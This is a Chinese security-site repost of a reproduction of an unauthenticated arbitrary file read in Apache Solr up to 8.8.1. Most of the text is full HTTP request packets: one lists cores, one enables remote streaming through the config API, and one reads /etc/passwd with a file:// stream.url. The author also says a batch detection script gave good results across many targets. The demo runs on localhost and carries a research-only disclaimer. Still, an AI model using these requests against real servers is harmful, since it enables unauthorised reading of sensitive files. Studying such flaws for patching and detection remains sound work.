(0day)Apache Solr任意文件读取漏洞复现

admin 2022年5月11日09:42:51安全文章评论15 views2555字阅读8分31秒阅读模式

(0day)Apache Solr任意文件读取漏洞复现


Apache Solr任意文件读取漏洞复现


一、简介


Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

Apache-Solr任意文件读取漏洞漏洞,攻击者可以在未授权的情况下读取目标服务器敏感文件和相关内容。


二、影响版本


Apache Solr <= 8.8.1


三、漏洞复现

安装:

Solr下载地址:自行下载对应满足版本http://archive.apache.org/dist/lucene/solr/

(0day)Apache Solr任意文件读取漏洞复现

访问页面

(0day)Apache Solr任意文件读取漏洞复现

第一步:获取core的信息:主要是name

http://xxx.xxx.xxx.xxx/solr/admin/cores?indexInfo=false&wt=json

(0day)Apache Solr任意文件读取漏洞复现

详细数据包

GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1Host: 127.0.0.1:8983Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Connection: close

第二步:判断是否存在漏洞:返回200并且包含This response format is experimental.  It is likely to change in the future 可能存在,需要进一步的去读取/etc/passwd或者其他进行确认最终是否存在读取漏洞

(0day)Apache Solr任意文件读取漏洞复现

详细数据包:

POST /solr/tesla/config HTTP/1.1Host: 127.0.0.1:8983Content-Length: 80Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://127.0.0.1:8983Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://127.0.0.1:8983/solr/tesla/configAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6Connection: close
{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

第三步:读取文件/etc/passwd:

(0day)Apache Solr任意文件读取漏洞复现

详细数据包:

POST /solr/tesla/debug/dump?param=ContentStreams HTTP/1.1Host: 127.0.0.1:8983Content-Length: 29Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://127.0.0.1:8983Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://127.0.0.1:8983/solr/tesla/configAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6Connection: close
stream.url=file:///etc/passwd

编写检测脚本:

显示读取内容:

(0day)Apache Solr任意文件读取漏洞复现

直接跑存在不现实读取内容:

批量出来效果还是不错的

(0day)Apache Solr任意文件读取漏洞复现


参考:

https://mp.weixin.qq.com/s/5U04Qhr_KBCznAbXe9jEeg


免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

转载声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。




本文始发于微信公众号(Khan安全攻防实验室):(0day)Apache Solr任意文件读取漏洞复现

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月11日09:42:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  (0day)Apache Solr任意文件读取漏洞复现 http://cn-sec.com/archives/534838.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: